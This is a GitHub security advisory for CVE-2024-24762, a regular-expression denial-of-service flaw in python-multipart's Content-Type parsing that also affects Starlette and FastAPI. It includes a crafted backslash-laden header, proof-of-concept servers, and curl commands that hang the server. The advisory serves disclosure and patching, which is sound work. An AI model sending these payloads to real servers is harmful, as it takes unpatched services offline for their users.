Skip to content

python-multipart vulnerable to Content-Type Header ReDoS

High severity GitHub Reviewed Published Feb 12, 2024 in Kludex/python-multipart • Updated Feb 16, 2024

Package

pip fastapi (pip)

Affected versions

<= 0.109.0

Patched versions

0.109.1
pip python-multipart (pip)
<= 0.0.6
0.0.7
pip starlette (pip)
<= 0.36.1
0.36.2

Description

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header


def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]


httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

### References - https://github.com/Kludex/python-multipart/security/advisories/GHSA-2jv5-9r88-3w3p - https://github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4 - https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74 - https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238 - https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389 - https://nvd.nist.gov/vuln/detail/CVE-2024-24762 - https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5 - https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc - https://github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml - https://github.com/tiangolo/fastapi/releases/tag/0.109.1
@Kludex Kludex published to Kludex/python-multipart Feb 12, 2024
Published to the GitHub Advisory Database Feb 12, 2024
Reviewed Feb 12, 2024
Last updated Feb 16, 2024

Severity

High
7.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Weaknesses

CVE ID

CVE-2024-24762

GHSA ID

GHSA-2jv5-9r88-3w3p

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.